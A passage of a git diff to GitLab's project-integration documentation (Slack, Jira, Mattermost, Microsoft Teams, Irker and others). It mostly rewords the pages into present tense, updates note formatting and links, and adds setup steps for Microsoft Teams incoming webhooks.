-NOTE: **Note:**
+NOTE:
The GitLab Slack application is only configurable for GitLab.com. It will **not**
work for on-premises installations where you can configure the
[Slack slash commands](slack_slash_commands.md) service instead. We're planning
@@ -25,8 +25,7 @@ The simplest way to enable the GitLab Slack application for your workspace is to
install the [GitLab application](https://slack-platform.slack.com/apps/A676ADMV5-gitlab) from
the [Slack App Directory](https://slack.com/apps).
-Clicking install will take you to the
-[GitLab Slack application landing page](https://gitlab.com/profile/slack/edit)
+Clicking install takes you to the [GitLab Slack application landing page](https://gitlab.com/profile/slack/edit)
where you can select a project to enable the GitLab Slack application for.
![GitLab Slack application landing page](img/gitlab_slack_app_landing_page.png)
@@ -40,7 +39,7 @@ Keep in mind that you need to have the appropriate permissions for your Slack
team in order to be able to install a new application, read more in Slack's
docs on [Adding an app to your workspace](https://slack.com/help/articles/202035138-Add-an-app-to-your-workspace).
-To enable GitLab's service for your Slack team:
+To enable the GitLab service for your Slack team:
1. Go to your project's **Settings > Integration > Slack application** (only
visible on GitLab.com).
@@ -71,7 +70,7 @@ GitLab error: project or alias not found
After confirming the installation, you, and everyone else in your Slack team,
can use all the [slash commands](../../../integration/slash_commands.md).
-When you perform your first slash command you will be asked to authorize your
+When you perform your first slash command, you are asked to authorize your
Slack user on GitLab.com.
The only difference with the [manually configurable Slack slash commands](slack_slash_commands.md)
diff --git a/doc/user/project/integrations/hangouts_chat.md b/doc/user/project/integrations/hangouts_chat.md
index 54f9bd8d622..06dcca6eb44 100644
--- a/doc/user/project/integrations/hangouts_chat.md
+++ b/doc/user/project/integrations/hangouts_chat.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Hangouts Chat service
@@ -14,7 +14,7 @@ The Hangouts Chat service sends notifications from GitLab to the room for which
1. Open the chat room in which you want to see the notifications.
1. From the chat room menu, select **Configure Webhooks**.
-1. Click on **ADD WEBHOOK** and fill in the name of the bot that will post the messages. Optionally define avatar.
+1. Click on **ADD WEBHOOK** and fill in the name of the bot to post the messages. Optionally define an avatar.
1. Click **SAVE** and copy the **Webhook URL** of your webhook.
See also [the Hangouts Chat documentation for configuring incoming webhooks](https://developers.google.com/hangouts/chat/how-tos/webhooks)
@@ -30,6 +30,6 @@ When you have the **Webhook URL** for your Hangouts Chat room webhook, you can s
1. Paste the **Webhook URL** that you copied from the Hangouts Chat configuration step.
1. Configure the remaining options and click `Save changes`.
-Your Hangouts Chat room will now start receiving GitLab event notifications as configured.
+Your Hangouts Chat room now starts receiving GitLab event notifications as configured.
![Hangouts Chat configuration](img/hangouts_chat_configuration.png)
diff --git a/doc/user/project/integrations/hipchat.md b/doc/user/project/integrations/hipchat.md
index 718f00273bd..7b90d8d7cfd 100644
--- a/doc/user/project/integrations/hipchat.md
+++ b/doc/user/project/integrations/hipchat.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Atlassian HipChat
@@ -19,7 +19,7 @@ HipChat v1 API (legacy) supports "API Auth Tokens" in the Group API menu. A v1
token is allowed to send messages to *any* room.
HipChat v2 API has tokens that are can be created using the Integrations tab
-in the Group or Room admin page. By design, these are lightweight tokens that
+in the Group or Room administration page. By design, these are lightweight tokens that
allow GitLab to send messages only to *one* room.
### Complete these steps in HipChat
diff --git a/doc/user/project/integrations/img/microsoft_teams_select_incoming_webhook.png b/doc/user/project/integrations/img/microsoft_teams_select_incoming_webhook.png
new file mode 100644
index 00000000000..216e65a8b30
--- /dev/null
+++ b/doc/user/project/integrations/img/microsoft_teams_select_incoming_webhook.png
Binary files differ
diff --git a/doc/user/project/integrations/index.md b/doc/user/project/integrations/index.md
index 0a1db5da61d..0e5163e992a 100644
--- a/doc/user/project/integrations/index.md
+++ b/doc/user/project/integrations/index.md
@@ -1,13 +1,13 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Project integrations
You can find the available integrations under your project's
-**Settings âž” Integrations** page. You need to have at least
+**Settings > Integrations** page. You need to have at least
[maintainer permission](../../permissions.md) on the project.
## Integrations
@@ -16,13 +16,13 @@ Integrations allow you to integrate GitLab with other applications.
They are a bit like plugins in that they allow a lot of freedom in
adding functionality to GitLab.
-[Learn more about integrations.](overview.md)
+Learn more [about integrations](overview.md).
## Project webhooks
Project webhooks allow you to trigger a URL if for example new code is pushed or
a new issue is created. You can configure webhooks to listen for specific events
-like pushes, issues or merge requests. GitLab will send a POST request with data
+like pushes, issues or merge requests. GitLab sends a POST request with data
to the webhook URL.
-[Learn more about webhooks.](webhooks.md)
+Learn more [about webhooks](webhooks.md).
diff --git a/doc/user/project/integrations/irker.md b/doc/user/project/integrations/irker.md
index bb4a5b2b97f..8dd7e4309b4 100644
--- a/doc/user/project/integrations/irker.md
+++ b/doc/user/project/integrations/irker.md
@@ -1,20 +1,20 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Irker IRC Gateway
GitLab provides a way to push update messages to an Irker server. When
-configured, pushes to a project will trigger the service to send data directly
+configured, pushes to a project trigger the service to send data directly
to the Irker server.
See the project homepage for further information: <https://gitlab.com/esr/irker>
## Needed setup
-You will first need an Irker daemon. You can download the Irker code
+You first need an Irker daemon. You can download the Irker code
[from its repository](https://gitlab.com/esr/irker):
```shell
@@ -26,8 +26,8 @@ This script is the gateway script, it acts both as an IRC client, for sending
messages to an IRC server obviously, and as a TCP server, for receiving messages
from the GitLab service.
-If the Irker server runs on the same machine, you are done. If not, you will
-need to follow the firsts steps of the next section.
+If the Irker server runs on the same machine, you are done. If not, you
+need to follow the first steps of the next section.
## Complete these steps in GitLab
@@ -40,7 +40,7 @@ need to follow the firsts steps of the next section.
1. Enter the server port of `irkerd` (e.g. defaults to 6659) in the
`Server port` field on the Web page.
1. Optional: if `Default IRC URI` is set, it has to be in the format
- `irc[s]://domain.name` and will be prepend to each and every channel provided
+ `irc[s]://domain.name` and is prepended to each and every channel provided
by the user which is not a full URI.
1. Specify the recipients (e.g. #channel1, user1, etc.)
1. Save or optionally click "Test Settings".
@@ -48,13 +48,13 @@ need to follow the firsts steps of the next section.
## Note on Irker recipients
Irker accepts channel names of the form `chan` and `#chan`, both for the
-`#chan` channel. If you want to send messages in query, you will need to add
+`#chan` channel. If you want to send messages in query, you need to add
`,isnick` after the channel name, in this form: `Aorimn,isnick`. In this latter
case, `Aorimn` is treated as a nick and no more as a channel name.
Irker can also join password-protected channels. Users need to append
`?key=thesecretpassword` to the channel name. When using this feature remember to
-**not** put the `#` sign in front of the channel name; failing to do so will
-result on Irker joining a channel literally named `#chan?key=password` henceforth
+**not** put the `#` sign in front of the channel name; failing to do so
+results in Irker joining a channel literally named `#chan?key=password` henceforth
leaking the channel key through the `/whois` IRC command (depending on IRC server
configuration). This is due to a long standing Irker bug.
diff --git a/doc/user/project/integrations/jira.md b/doc/user/project/integrations/jira.md
index b4e02bbd5f3..306a16bd873 100644
--- a/doc/user/project/integrations/jira.md
+++ b/doc/user/project/integrations/jira.md
@@ -1,12 +1,12 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Jira integration
-If you need to use Jira to track work that's implemented in GitLab, GitLab's Jira integrations make the process of working across systems more efficient.
+If you need to use Jira to track work that's implemented in GitLab, Jira integrations with GitLab make the process of working across systems more efficient.
This page is about the GitLab Jira integration, which is available in every GitLab project by default, allowing you to connect it to any Jira instance, whether Cloud or self-managed. To compare features with the complementary Jira Development Panel integration, see [Jira integrations](jira_integrations.md).
@@ -18,7 +18,7 @@ Features include:
- GitLab links to the Jira issue.
- The Jira issue adds a comment with details and a link back to the activity in GitLab.
- **Mention that a commit or MR resolves or closes a specific Jira issue** and when it's merged to the default branch:
- - GitLab's MR displays a note that it closed the Jira issue. Prior to the merge, MRs indicate which issue they will close.
+ - The GitLab MR displays a note that it closed the Jira issue. Prior to the merge, MRs indicate which issue they close.
- The Jira issue shows the activity and is closed or otherwise transitioned as specified in your GitLab settings.
- **View a list of Jira issues directly in GitLab** **(PREMIUM)**
@@ -38,7 +38,7 @@ For an overview, see [Agile Management - GitLab-Jira Basic Integration](https://
Each GitLab project can be configured to connect to an entire Jira instance. That
means one GitLab project can interact with _all_ Jira projects in that instance, once
-configured. Therefore, you will not have to explicitly associate
+configured. Therefore, you do not have to explicitly associate
a GitLab project with any single Jira project.
If you have one Jira instance, you can pre-fill the settings page with a default
@@ -61,7 +61,7 @@ In order to enable the Jira service in GitLab, you need to first configure the p
> **Notes:**
>
> - The supported Jira versions are `v6.x`, `v7.x`, and `v8.x`.
-> - In order to support Oracle's Access Manager, GitLab will send additional cookies
+> - In order to support Oracle's Access Manager, GitLab sends additional cookies
> to enable Basic Auth. The cookie being added to each request is `OBBasicAuth` with
> a value of `fromDialog`.
@@ -80,17 +80,18 @@ Enter the further details on the page as described in the following table.
| Field | Description |
| ----- | ----------- |
| `Web URL` | The base URL to the Jira instance web interface which is being linked to this GitLab project. E.g., `https://jira.example.com`. |
-| `Jira API URL` | The base URL to the Jira instance API. Web URL value will be used if not set. E.g., `https://jira-api.example.com`. Leave this field blank (or use the same value of `Web URL`) if using **Jira Cloud**. |
+| `Jira API URL` | The base URL to the Jira instance API. Web URL value is used if not set. For example, `https://jira-api.example.com`. Leave this field blank (or use the same value of `Web URL`) if using **Jira Cloud**. |
| `Username or Email` | Created in [configuring Jira](#configuring-jira) step. Use `username` for **Jira Server** or `email` for **Jira Cloud**. |
| `Password/API token` |Created in [configuring Jira](#configuring-jira) step. Use `password` for **Jira Server** or `API token` for **Jira Cloud**. |
-| `Transition ID` | Required for closing Jira issues via commits or merge requests. This is the ID of a transition in Jira that moves issues to a desired state. (See [Obtaining a transition ID](#obtaining-a-transition-id).) If you insert multiple transition IDs separated by `,` or `;`, the issue is moved to each state, one after another, using the given order. |
+| `Jira workflow transition IDs` | Required for closing Jira issues via commits or merge requests. These are the IDs of transitions in Jira that move issues to a particular state. (See [Obtaining a transition ID](#obtaining-a-transition-id).) If you insert multiple transition IDs separated by `,` or `;`, the issue is moved to each state, one after another, using the given order. In GitLab 13.6 and earlier, field was called `Transition ID`. |
To enable users to view Jira issues inside the GitLab project, select **Enable Jira issues** and enter a Jira project key. **(PREMIUM)**
You can only display issues from a single Jira project within a given GitLab project.
-CAUTION: **Caution:**
-If you enable Jira issues with the setting above, all users that have access to this GitLab project will be able to view all issues from the specified Jira project.
+WARNING:
+If you enable Jira issues with the setting above, all users that have access to this GitLab project
+are able to view all issues from the specified Jira project.
When you have configured all settings, click **Test settings and save changes**.
@@ -127,9 +128,9 @@ Jira issue IDs must be formatted in uppercase for the integration to work.
### Reference Jira issues
When GitLab project has Jira issue tracker configured and enabled, mentioning
-Jira issue in GitLab will automatically add a comment in Jira issue with the
+Jira issues in GitLab automatically adds a comment in Jira issue with the
link back to GitLab. This means that in comments in merge requests and commits
-referencing an issue, e.g., `PROJECT-7`, will add a comment in Jira issue in the
+referencing an issue, `PROJECT-7` for example, adds a comment in Jira issue in the
format:
```plaintext
@@ -145,7 +146,7 @@ ENTITY_TITLE
![example of mentioning or closing the Jira issue](img/jira_issue_reference.png)
-For example, the following commit will reference the Jira issue with `PROJECT-1` as its ID:
+For example, the following commit references the Jira issue with `PROJECT-1` as its ID:
```shell
git commit -m "PROJECT-1 Fix spelling and grammar"
@@ -155,8 +156,8 @@ git commit -m "PROJECT-1 Fix spelling and grammar"
Jira issues can be closed directly from GitLab by using trigger words in
commits and merge requests. When a commit which contains the trigger word
-followed by the Jira issue ID in the commit message is pushed, GitLab will
-add a comment in the mentioned Jira issue and immediately close it (provided
+followed by the Jira issue ID in the commit message is pushed, GitLab
+adds a comment in the mentioned Jira issue and immediately closes it (provided
the transition ID was set up correctly).
There are currently three trigger words, and you can use either one to achieve
@@ -168,12 +169,12 @@ the same goal:
where `PROJECT-1` is the ID of the Jira issue.
-> **Notes:**
->
-> - Only commits and merges into the project's default branch (usually **master**) will
-> close an issue in Jira. You can change your projects default branch under
-> [project settings](img/jira_project_settings.png).
-> - The Jira issue will not be transitioned if it has a resolution.
+Note the following:
+
+- Only commits and merges into the project's default branch (usually `master`)
+ close an issue in Jira. You can change your project's default branch under
+ [project settings](img/jira_project_settings.png).
+- The Jira issue is not transitioned if it has a resolution.
Let's consider the following example:
@@ -183,7 +184,7 @@ Let's consider the following example:
in GitLab contains the improvement
1. In the merge request description we use the issue closing trigger
`Closes PROJECT-7`.
-1. Once the merge request is merged, the Jira issue will be automatically closed
+1. Once the merge request is merged, the Jira issue is automatically closed
with a comment and an associated link to the commit that resolved the issue.
In the following screenshot you can see what the link references to the Jira
@@ -191,7 +192,7 @@ issue look like.
![A Git commit that causes the Jira issue to be closed](img/jira_merge_request_close.png)
-Once this merge request is merged, the Jira issue will be automatically closed
+Once this merge request is merged, the Jira issue is automatically closed
with a link to the commit that resolved the issue.
![The GitLab integration closes Jira issue](img/jira_service_close_issue.png)
@@ -244,7 +245,7 @@ If these features do not work as expected, it is likely due to a problem with th
Make sure that the Jira user you set up for the integration has the
correct access permission to post comments on a Jira issue and also to transition
the issue, if you'd like GitLab to also be able to do so.
-Jira issue references and update comments will not work if the GitLab issue tracker is disabled.
+Jira issue references and update comments do not work if the GitLab issue tracker is disabled.
### GitLab is unable to close a Jira issue
@@ -259,6 +260,6 @@ Jira lists.)
CAPTCHA may be triggered after several consecutive failed login attempts
which may lead to a `401 unauthorized` error when testing your Jira integration.
-If CAPTCHA has been triggered, you will not be able to use Jira's REST API to
-authenticate with the Jira site. You will need to log in to your Jira instance
+If CAPTCHA has been triggered, you can't use Jira's REST API to
+authenticate with the Jira site. You need to log in to your Jira instance
and complete the CAPTCHA.
diff --git a/doc/user/project/integrations/jira_cloud_configuration.md b/doc/user/project/integrations/jira_cloud_configuration.md
index 14999734c00..b8eebef8e42 100644
--- a/doc/user/project/integrations/jira_cloud_configuration.md
+++ b/doc/user/project/integrations/jira_cloud_configuration.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Creating an API token in Jira Cloud
@@ -11,7 +11,7 @@ below to create one:
1. Log in to [`id.atlassian.com`](https://id.atlassian.com/manage-profile/security/api-tokens) with your email address.
- NOTE: **Note:**
+ NOTE:
It is important that the user associated with this email address has *write* access
to projects in Jira.
diff --git a/doc/user/project/integrations/jira_integrations.md b/doc/user/project/integrations/jira_integrations.md
index dd22c26be36..f15a5ee4429 100644
--- a/doc/user/project/integrations/jira_integrations.md
+++ b/doc/user/project/integrations/jira_integrations.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Jira integrations
@@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
GitLab Issues are a tool for discussing ideas and planning and tracking work. However, your organization may already use Jira for these purposes, with
extensive, established data and business processes they rely on.
-Although you can [migrate](../../../user/project/import/jira.md) your Jira issues and work exclusively in GitLab, you also have the option of continuing to use Jira by using GitLab's Jira integrations.
+Although you can [migrate](../../../user/project/import/jira.md) your Jira issues and work exclusively in GitLab, you also have the option of continuing to use Jira by using the GitLab Jira integrations.
## Integrations
@@ -19,7 +19,7 @@ The following Jira integrations allow different types of cross-referencing betwe
- [**Jira integration**](jira.md) - This is built in to GitLab. In a given GitLab project, it can be configured to connect to any Jira instance, self-managed or Cloud.
- [**Jira development panel integration**](../../../integration/jira_development_panel.md) - This connects all GitLab projects under a specified group or personal namespace.
- - If you're using Jira Cloud and GitLab.com, install the [GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-for-jira) app in the Atlassian Marketplace and see its [documentation](../../../integration/jira_development_panel.md#gitlab-for-jira-app).
+ - If you're using Jira Cloud and GitLab.com, install the [GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud) app in the Atlassian Marketplace and see its [documentation](../../../integration/jira_development_panel.md#gitlab-for-jira-app).
- For all other environments, use the [Jira DVCS Connector configuration instructions](../../../integration/jira_development_panel.md#configuration).
### Feature comparison
diff --git a/doc/user/project/integrations/jira_server_configuration.md b/doc/user/project/integrations/jira_server_configuration.md
index 38098d7d15b..d2a42c0535e 100644
--- a/doc/user/project/integrations/jira_server_configuration.md
+++ b/doc/user/project/integrations/jira_server_configuration.md
@@ -1,18 +1,17 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Creating a username and password for Jira Server
-We need to create a user in Jira which will have access to all projects that
-need to integrate with GitLab.
+We need to create a user in Jira to have access to all projects that need to integrate with GitLab.
-As an example, we'll create a user named `gitlab` and add it to a new group
+As an example, we create a user named `gitlab` and add it to a new group
named `gitlab-developers`.
-NOTE: **Note:**
+NOTE:
It is important that the Jira user created for the integration is given 'write'
access to your Jira projects. This is covered in the process below.
@@ -24,15 +23,16 @@ access to your Jira projects. This is covered in the process below.
1. The next step is to create a new user (e.g., `gitlab`) who has write access
to projects in Jira. Enter the user's name and a _valid_ e-mail address
since Jira sends a verification e-mail to set up the password.
- _**Note:** Jira creates the username automatically by using the e-mail
- prefix. You can change it later, if needed. Our integration does not support SSO (such as SAML). You will need to create
- an HTTP basic authentication password. You can do this by visiting the user
- profile, looking up the username, and setting a password._
+
+ Jira creates the username automatically by using the e-mail
+ prefix. You can change it later, if needed. Our integration does not support SSO (such as SAML). You
+ need to create an HTTP basic authentication password. You can do this by visiting the user
+ profile, looking up the username, and setting a password.
![Jira create new user](img/jira_create_new_user.png)
-1. Create a `gitlab-developers` group. (We will give this group write access to Jira
- projects in a later step). Go to the **Groups** tab on the left, and select **Add group**.
+1. Create a `gitlab-developers` group (we give this group write access to Jira
+ projects in a later step.) Go to the **Groups** tab on the left, and select **Add group**.
![Jira create new user](img/jira_create_new_group.png)
@@ -53,7 +53,7 @@ access to your Jira projects. This is covered in the process below.
To do this, click the gear icon and select **Issues**. Then click **Permission Schemes**.
Click **Add Permission Scheme** and enter a **Name** and, optionally, a **Description**.
-1. Once your permission scheme is created, you'll be taken back to the permissions scheme list.
+1. Once your permission scheme is created, you are taken back to the permissions scheme list.
Locate your new permissions scheme and click **Permissions**. Next to **Administer Projects**,
click **Edit**. In the resulting dialog box, select **Group** and select `gitlab-developers`
from the dropdown.
@@ -61,4 +61,4 @@ access to your Jira projects. This is covered in the process below.
![Jira group access](img/jira_group_access.png)
The Jira configuration is complete. Write down the new Jira username and its
-password as they will be needed when [configuring GitLab in the next section](jira.md#configuring-gitlab).
+password as they are needed when [configuring GitLab in the next section](jira.md#configuring-gitlab).
diff --git a/doc/user/project/integrations/kubernetes.md b/doc/user/project/integrations/kubernetes.md
index ab43eb2da7e..646c9ed66d5 100644
--- a/doc/user/project/integrations/kubernetes.md
+++ b/doc/user/project/integrations/kubernetes.md
@@ -3,3 +3,6 @@ redirect_to: '../clusters/index.md'
---
This document was moved to [another location](../clusters/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/integrations/mattermost.md b/doc/user/project/integrations/mattermost.md
index c12a969ca3c..e80f672d05d 100644
--- a/doc/user/project/integrations/mattermost.md
+++ b/doc/user/project/integrations/mattermost.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Mattermost Notifications Service
@@ -15,11 +15,11 @@ You can also use Mattermost slash commands to control GitLab inside Mattermost.
To enable Mattermost integration you must create an incoming webhook integration:
1. Sign in to your Mattermost instance.
-1. Visit incoming webhooks, that will be something like: `https://mattermost.example.com/your_team_name/integrations/incoming_webhooks/add`.
+1. Visit incoming webhooks, that is something like: `https://mattermost.example.com/your_team_name/integrations/incoming_webhooks/add`.
1. Choose a display name, description and channel, those can be overridden on GitLab.
-1. Save it, copy the **Webhook URL**, we'll need this later for GitLab.
+1. Save it and copy the **Webhook URL** because we need this later for GitLab.
-Incoming Webhooks might be blocked on your Mattermost instance. Ask your Mattermost admin
+Incoming Webhooks might be blocked on your Mattermost instance. Ask your Mattermost administrator
to enable it on:
- **Mattermost System Console > Integrations > Integration Management** in Mattermost
@@ -27,7 +27,7 @@ to enable it on:
- **Mattermost System Console > Integrations > Custom Integrations** in Mattermost
versions 5.11 and earlier.
-Display name override is not enabled by default, you need to ask your admin to enable it on that same section.
+Display name override is not enabled by default, you need to ask your administrator to enable it on that same section.
## On GitLab
@@ -35,7 +35,7 @@ After you set up Mattermost, it's time to set up GitLab.
Navigate to the [Integrations page](overview.md#accessing-integrations)
and select the **Mattermost notifications** service to configure it.
-There, you will see a checkbox with the following events that can be triggered:
+There, you see a checkbox with the following events that can be triggered:
- Push
- Issue
@@ -55,7 +55,7 @@ At the end, fill in your Mattermost details:
| Field | Description |
| ----- | ----------- |
-| **Webhook** | The incoming webhook URL which you have to set up on Mattermost, it will be something like: `http://mattermost.example/hooks/5xo…` |
+| **Webhook** | The incoming webhook URL which you have to set up on Mattermost, similar to: `http://mattermost.example/hooks/5xo…` |
| **Username** | Optional username which can be on messages sent to Mattermost. Fill this in if you want to change the username of the bot. |
| **Notify only broken pipelines** | If you choose to enable the **Pipeline** event and you want to be only notified about failed pipelines. |
diff --git a/doc/user/project/integrations/mattermost_slash_commands.md b/doc/user/project/integrations/mattermost_slash_commands.md
index 5e08767d3f0..6c8a0ded2ae 100644
--- a/doc/user/project/integrations/mattermost_slash_commands.md
+++ b/doc/user/project/integrations/mattermost_slash_commands.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Mattermost slash commands
@@ -37,13 +37,13 @@ commands in Mattermost and then enable the service in GitLab.
### Step 1. Enable custom slash commands in Mattermost
-This step is only required when using a source install, Omnibus installs will be
+This step is only required when using a source install. Omnibus installs are
preconfigured with the right settings.
The first thing to do in Mattermost is to enable custom slash commands from
the administrator console.
-1. Log in with an account that has admin privileges and navigate to the system
+1. Log in with an account that has administrator privileges and navigate to the system
console.
![Mattermost go to console](img/mattermost_goto_console.png)
@@ -61,13 +61,12 @@ the administrator console.
1. Open a new tab for GitLab, go to your project's
[Integrations page](overview.md#accessing-integrations)
and select the **Mattermost command** service to configure it.
- A screen will appear with all the values you need to copy in Mattermost as
+ A screen appears with all the values you need to copy in Mattermost as
described in the next step. Leave the window open.
- NOTE: **Note:**
- GitLab will propose some values for the Mattermost settings. The only one
- required to copy-paste as-is is the **Request URL**, all the others are just
- suggestions.
+ NOTE:
+ GitLab offers some values for the Mattermost settings. Only **Request URL** is required
+ as offered, all the others are just suggestions.
![Mattermost setup instructions](img/mattermost_config_help.png)
@@ -93,15 +92,15 @@ in a new slash command.
1. Fill in the options for the custom command as described in
[step 2](#step-2-open-the-mattermost-slash-commands-service-in-gitlab).
- NOTE: **Note:**
+ NOTE:
If you plan on connecting multiple projects, pick a slash command trigger
word that relates to your projects such as `/gitlab-project-name` or even
- just `/project-name`. Only use `/gitlab` if you will only connect a single
+ just `/project-name`. Only use `/gitlab` if you plan to only connect a single
project to your Mattermost team.
![Mattermost add command configuration](img/mattermost_slash_command_configuration.png)
-1. After you set up all the values, copy the token (we will use it below) and
+1. After you set up all the values, copy the token (we use it below) and
click **Done**.
![Mattermost slash command token](img/mattermost_slash_command_token.png)
@@ -120,12 +119,12 @@ GitLab project you configured.
## Authorizing Mattermost to interact with GitLab
-The first time a user will interact with the newly created slash commands,
-Mattermost will trigger an authorization process.
+The first time a user interacts with the newly created slash commands,
+Mattermost triggers an authorization process.
![Mattermost bot authorize](img/mattermost_bot_auth.png)
-This will connect your Mattermost user with your GitLab user. You can
+This connects your Mattermost user with your GitLab user. You can
see all authorized chat accounts in your profile's page under **Chat**.
When the authorization process is complete, you can start interacting with
@@ -158,7 +157,7 @@ Mattermost webhooks do not have access to private channels.
If a private channel is required, you can edit the webhook's channel in Mattermost and
select a private channel. It is not possible to use different channels for
-different types of notifications - all events will be sent to the specified channel.
+different types of notifications. All events are sent to the specified channel.
## Further reading
diff --git a/doc/user/project/integrations/microsoft_teams.md b/doc/user/project/integrations/microsoft_teams.md
index b2a2f1c3e7b..136da05d0e8 100644
--- a/doc/user/project/integrations/microsoft_teams.md
+++ b/doc/user/project/integrations/microsoft_teams.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Microsoft Teams service
@@ -9,7 +9,21 @@ info: To determine the technical writer assigned to the Stage/Group associated w
## On Microsoft Teams
To enable Microsoft Teams integration you must create an incoming webhook integration on Microsoft
-Teams by following the steps described in [Sending messages to Connectors and Webhooks](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/connectors-using).
+Teams by following the steps below:
+
+1. Search for "incoming webhook" on the search bar in Microsoft Teams and select the
+ **Incoming Webhook** item.
+
+ ![Select Incoming Webhook](img/microsoft_teams_select_incoming_webhook.png)
+
+1. Click the **Add to a team** button.
+1. Select the team and channel you want to add the integration to.
+1. Add a name for the webhook. The name is displayed next to every message that
+ comes in through the webhook.
+1. Copy the webhook URL for the next steps.
+
+Learn more about
+[setting up an incoming webhook on Microsoft Teams](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/connectors-using#setting-up-a-custom-incoming-webhook).
## On GitLab
@@ -17,7 +31,7 @@ After you set up Microsoft Teams, it's time to set up GitLab.
Navigate to the [Integrations page](overview.md#accessing-integrations)
and select the **Microsoft Teams Notification** service to configure it.
-There, you will see a checkbox with the following events that can be triggered:
+There, you see a checkbox with the following events that can be triggered:
- Push
- Issue
diff --git a/doc/user/project/integrations/mock_ci.md b/doc/user/project/integrations/mock_ci.md
index 4567d345336..18f0ad6b275 100644
--- a/doc/user/project/integrations/mock_ci.md
+++ b/doc/user/project/integrations/mock_ci.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Mock CI Service
diff --git a/doc/user/project/integrations/overview.md b/doc/user/project/integrations/overview.md
index a502dfbf320..c391877be20 100644
--- a/doc/user/project/integrations/overview.md
+++ b/doc/user/project/integrations/overview.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Integrations
@@ -39,7 +39,7 @@ Click on the service links to see further configuration instructions and details
| [Emails on push](emails_on_push.md) | Email the commits and diff of each push to a list of recipients | No |
| External Wiki | Replaces the link to the internal wiki with a link to an external wiki | No |
| Flowdock | Flowdock is a collaboration web app for technical teams | No |
-| [Generic alerts](../../../operations/incident_management/generic_alerts.md) **(ULTIMATE)** | Receive alerts on GitLab from any source | No |
+| [Generic alerts](../../../operations/incident_management/alert_integrations.md) **(ULTIMATE)** | Receive alerts on GitLab from any source | No |
| [GitHub](github.md) **(PREMIUM)** | Sends pipeline notifications to GitHub | No |
